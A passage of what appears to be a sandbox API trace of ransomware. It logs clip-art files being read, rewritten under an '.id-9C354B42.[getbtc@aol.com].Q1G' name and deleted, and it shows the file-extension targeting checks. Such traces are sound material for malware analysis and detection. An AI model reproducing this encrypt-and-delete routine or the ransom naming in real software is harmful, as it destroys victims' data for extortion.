(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString=".jpg") returned 4 [0262.079] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.079] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.079] lstrlenW (lpString="J0151041.WMF") returned 12 [0262.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.084] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4356) returned 1 [0262.085] CloseHandle (hObject=0x388) returned 1 [0262.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 0x20 [0262.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.085] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.085] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.086] GetLastError () returned 0x0 [0262.086] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1104, lpOverlapped=0x0) returned 1 [0262.095] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1110, lpOverlapped=0x0) returned 1 [0262.096] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.096] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.096] SetEndOfFile (hFile=0x3a8) returned 1 [0262.096] CloseHandle (hObject=0x3a8) returned 1 [0262.097] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.097] SetEndOfFile (hFile=0x388) returned 1 [0262.098] CloseHandle (hObject=0x388) returned 1 [0262.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0262.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.099] lstrlenW (lpString=".doc") returned 4 [0262.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString=".docx") returned 5 [0262.100] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.100] lstrlenW (lpString=".pdf") returned 4 [0262.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString=".xls") returned 4 [0262.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.100] lstrlenW (lpString=".xlsx") returned 5 [0262.100] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.100] lstrlenW (lpString=".ppt") returned 4 [0262.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.100] lstrlenW (lpString=".zip") returned 4 [0262.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.100] lstrlenW (lpString=".rar") returned 4 [0262.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString=".bz2") returned 4 [0262.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString=".7z") returned 3 [0262.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.100] lstrlenW (lpString=".dbf") returned 4 [0262.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.100] lstrlenW (lpString=".1cd") returned 4 [0262.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.100] lstrlenW (lpString=".jpg") returned 4 [0262.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.100] lstrlenW (lpString=".doc") returned 4 [0262.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.100] lstrlenW (lpString=".docx") returned 5 [0262.100] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0262.101] lstrlenW (lpString=".pdf") returned 4 [0262.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.101] lstrlenW (lpString=".xls") returned 4 [0262.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.101] lstrlenW (lpString=".xlsx") returned 5 [0262.101] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0262.101] lstrlenW (lpString=".ppt") returned 4 [0262.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.101] lstrlenW (lpString=".zip") returned 4 [0262.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.101] lstrlenW (lpString=".rar") returned 4 [0262.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.101] lstrlenW (lpString=".bz2") returned 4 [0262.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.101] lstrlenW (lpString=".7z") returned 3 [0262.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.101] lstrlenW (lpString=".dbf") returned 4 [0262.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.101] lstrlenW (lpString=".1cd") returned 4 [0262.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0262.101] lstrlenW (lpString=".jpg") returned 4 [0262.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.101] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.101] lstrlenW (lpString="J0151045.WMF") returned 12 [0262.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.102] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=15464) returned 1 [0262.102] CloseHandle (hObject=0x388) returned 1 [0262.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 0x20 [0262.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.102] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.102] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.103] GetLastError () returned 0x0 [0262.103] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3c68, lpOverlapped=0x0) returned 1 [0262.115] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3c70, lpOverlapped=0x0) returned 1 [0262.116] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.116] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.117] SetEndOfFile (hFile=0x3a8) returned 1 [0262.117] CloseHandle (hObject=0x3a8) returned 1 [0262.117] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.117] SetEndOfFile (hFile=0x388) returned 1 [0262.119] CloseHandle (hObject=0x388) returned 1 [0262.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0262.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.120] lstrlenW (lpString=".doc") returned 4 [0262.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.120] lstrlenW (lpString=".docx") returned 5 [0262.120] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0262.120] lstrlenW (lpString=".pdf") returned 4 [0262.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.120] lstrlenW (lpString=".xls") returned 4 [0262.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.120] lstrlenW (lpString=".xlsx") returned 5 [0262.120] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0262.120] lstrlenW (lpString=".ppt") returned 4 [0262.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.120] lstrlenW (lpString=".zip") returned 4 [0262.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.120] lstrlenW (lpString=".rar") returned 4 [0262.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.120] lstrlenW (lpString=".bz2") returned 4 [0262.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.120] lstrlenW (lpString=".7z") returned 3 [0262.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.120] lstrlenW (lpString=".dbf") returned 4 [0262.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString=".1cd") returned 4 [0262.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString=".jpg") returned 4 [0262.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString=".doc") returned 4 [0262.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString=".docx") returned 5 [0262.121] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0262.121] lstrlenW (lpString=".pdf") returned 4 [0262.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString=".xls") returned 4 [0262.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.121] lstrlenW (lpString=".xlsx") returned 5 [0262.121] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0262.121] lstrlenW (lpString=".ppt") returned 4 [0262.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString=".zip") returned 4 [0262.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.121] lstrlenW (lpString=".rar") returned 4 [0262.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString=".bz2") returned 4 [0262.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString=".7z") returned 3 [0262.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString=".dbf") returned 4 [0262.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString=".1cd") returned 4 [0262.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0262.121] lstrlenW (lpString=".jpg") returned 4 [0262.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.122] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.122] lstrlenW (lpString="J0151047.WMF") returned 12 [0262.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.122] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=18500) returned 1 [0262.122] CloseHandle (hObject=0x388) returned 1 [0262.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 0x20 [0262.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.123] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.123] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.123] GetLastError () returned 0x0 [0262.123] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4844, lpOverlapped=0x0) returned 1 [0262.135] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4850, lpOverlapped=0x0) returned 1 [0262.136] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.136] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.136] SetEndOfFile (hFile=0x3a8) returned 1 [0262.136] CloseHandle (hObject=0x3a8) returned 1 [0262.137] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.137] SetEndOfFile (hFile=0x388) returned 1 [0262.142] CloseHandle (hObject=0x388) returned 1 [0262.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0262.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.143] lstrlenW (lpString=".doc") returned 4 [0262.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString=".docx") returned 5 [0262.143] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.143] lstrlenW (lpString=".pdf") returned 4 [0262.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.143] lstrlenW (lpString=".xls") returned 4 [0262.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.144] lstrlenW (lpString=".xlsx") returned 5 [0262.144] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.144] lstrlenW (lpString=".ppt") returned 4 [0262.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.144] lstrlenW (lpString=".zip") returned 4 [0262.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.144] lstrlenW (lpString=".rar") returned 4 [0262.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString=".bz2") returned 4 [0262.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString=".7z") returned 3 [0262.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.144] lstrlenW (lpString=".dbf") returned 4 [0262.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.144] lstrlenW (lpString=".1cd") returned 4 [0262.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.144] lstrlenW (lpString=".jpg") returned 4 [0262.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.144] lstrlenW (lpString=".doc") returned 4 [0262.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString=".docx") returned 5 [0262.144] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0262.144] lstrlenW (lpString=".pdf") returned 4 [0262.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.144] lstrlenW (lpString=".xls") returned 4 [0262.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.144] lstrlenW (lpString=".xlsx") returned 5 [0262.144] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0262.144] lstrlenW (lpString=".ppt") returned 4 [0262.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.145] lstrlenW (lpString=".zip") returned 4 [0262.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.145] lstrlenW (lpString=".rar") returned 4 [0262.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.145] lstrlenW (lpString=".bz2") returned 4 [0262.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.145] lstrlenW (lpString=".7z") returned 3 [0262.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.145] lstrlenW (lpString=".dbf") returned 4 [0262.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.145] lstrlenW (lpString=".1cd") returned 4 [0262.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0262.145] lstrlenW (lpString=".jpg") returned 4 [0262.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.145] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.145] lstrlenW (lpString="J0151055.WMF") returned 12 [0262.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.367] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14632) returned 1 [0262.367] CloseHandle (hObject=0x39c) returned 1 [0262.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 